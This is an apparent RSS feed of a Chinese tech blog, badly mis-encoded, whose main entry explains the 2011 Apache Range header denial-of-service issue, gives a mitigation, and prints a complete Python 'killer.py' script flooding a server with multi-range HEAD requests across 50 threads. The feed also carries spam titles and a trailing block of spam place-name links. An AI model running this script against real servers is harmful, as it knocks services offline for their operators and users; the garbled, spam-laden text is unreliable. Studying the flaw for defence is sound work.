锘??xml version="1.0" encoding="utf-8" standalone="yes"?>亚洲欧美日韩国产中文,一本久久a久久免费精品不卡,国产精品毛片aⅴ一区二区三区 http://www.aygfsteel.com/stone2083/category/29715.htmlzh-cnSat, 31 Mar 2018 17:35:42 GMTSat, 31 Mar 2018 17:35:42 GMT60socks鍗忚+netty瀹炵幇錛堝崗璁儴鍒嗭級http://www.aygfsteel.com/stone2083/archive/2016/09/08/431772.htmlstone2083stone2083Thu, 08 Sep 2016 04:51:00 GMThttp://www.aygfsteel.com/stone2083/archive/2016/09/08/431772.htmlhttp://www.aygfsteel.com/stone2083/comments/431772.htmlhttp://www.aygfsteel.com/stone2083/archive/2016/09/08/431772.html#Feedback0http://www.aygfsteel.com/stone2083/comments/commentRss/431772.htmlhttp://www.aygfsteel.com/stone2083/services/trackbacks/431772.html

stone2083 2016-09-08 12:51 鍙戣〃璇勮
]]>
Apache Range Header DOS鏀誨嚮 浠嬬粛http://www.aygfsteel.com/stone2083/archive/2011/08/29/357475.htmlstone2083stone2083Mon, 29 Aug 2011 02:35:00 GMThttp://www.aygfsteel.com/stone2083/archive/2011/08/29/357475.htmlhttp://www.aygfsteel.com/stone2083/comments/357475.htmlhttp://www.aygfsteel.com/stone2083/archive/2011/08/29/357475.html#Feedback0http://www.aygfsteel.com/stone2083/comments/commentRss/357475.htmlhttp://www.aygfsteel.com/stone2083/services/trackbacks/357475.html鑳屾櫙
http://lwn.net/Articles/456268/


Http鍗忚涔婤yte Range
http://www.ietf.org/rfc/rfc2616.txt (14.35绔犺妭)
14.35   Range ....................................................138
   14.35.1    Byte Ranges ...........................................138
   14.35.2    Range Retrieval Requests ..............................139

Apache婕旂ず
1. 鏂板緩鍐呭涓篴bcdefghijk鐨則xt欏甸潰
2. 涓嶅甫Byte Range Header鐨勮姹傦紝璇風(fēng)湅錛?br />
3.甯yte Range Header鐨勮姹傦紝璇風(fēng)湅錛?br />

鐞嗚涓婏紝涓鏃﹀甫涓奛涓猂ange鍒嗙墖錛孉pache鍗曟璇鋒眰鍘嬪姏灝辨槸涔嬪墠鐨凬鍊嶏紙瀹為檯灝戜簬N錛夛紝闇瑕佸仛澶ч噺鐨勮繍綆楀拰瀛楃涓插鐞嗐傛晠鏋勫緩鏃犵┓鐨勫垎鐗囷紝鍗曟満DOS鏀誨嚮錛屽氨鑳芥悶鍨瓵pache Server銆?br />
瑙e喅鏂規(guī)
1. 絳夊緟Apache淇錛屼笉榪嘊yte Range鏄鑼冭姹傜殑錛屼笉鑳界畻鏄湡姝f剰涔変笂鐨凚UG錛屼笉鐭ラ亾浼?xì)濡備綍淇杩欎釜闂?
2. 瀵逛簬涓嶆槸涓嬭澆绔欑偣鏉ヨ錛屽緩璁鐢˙yte Range錛屽叿浣撳仛娉曪細(xì)
2.1 瀹夎mod_headers妯″潡
2.2 閰嶇疆鏂囦歡鍔犱笂錛?RequestHeader unset Range

鏈鍚庨檮涓婁竴涓敾鍑昏剼鏈紝鍋氭紨紺?/strong>
 1 # encoding:utf8
 2 #!/usr/bin/env python
 3 import socket
 4 import threading
 5 import sys
 6 
 7 headers = '''
 8 HEAD / HTTP/1.1
 9 Host: %s
10 Range: bytes=%s
11 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
12 
13 '''
14 
15 #fragment count and loop count
16 COUNT = 1500
17 #concurrent count
18 PARALLEL = 50
19 PORT = 80
20 
21 def req(server):
22     try:
23         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
24         s.connect((server, PORT))
25         s.send(headers % (server, fragment(COUNT)))
26         s.close()
27     except:
28         print 'Server Seems Weak. Please Stop.'
29 
30 def fragment(n):
31     ret = ''
32     for i in xrange(n):
33         if i == 0:
34             ret = ret + '0-' + str(i + 1)
35         else:
36             ret = ret + ',0-' + str(i + 1)
37     return ret
38 
39 def run(server):
40     for _ in xrange(COUNT):
41         req(server)
42 
43 if len(sys.argv) != 2:
44     print 'killer.py $server'
45     sys.exit(0)
46 
47 #run
48 srv = sys.argv[1]
49 for _ in xrange(PARALLEL):
50     threading.Thread(target=run, args=(srv,)).start()
51 


stone2083 2011-08-29 10:35 鍙戣〃璇勮
]]>
主站蜘蛛池模板: 天长市| 拉萨市| 淄博市| 秦皇岛市| 合江县| 普格县| 无极县| 剑河县| 淄博市| 八宿县| 大丰市| 确山县| 昭苏县| 三河市| 拜泉县| 诸暨市| 太白县| 龙江县| 禹城市| 云阳县| 卓尼县| 葵青区| 伊吾县| 姚安县| 沈丘县| 南昌市| 山东省| 翼城县| 山丹县| 阿拉尔市| 略阳县| 清新县| 南召县| 磐安县| 个旧市| 滨州市| 临漳县| 鄂州市| 泾阳县| 石泉县| 鄂尔多斯市|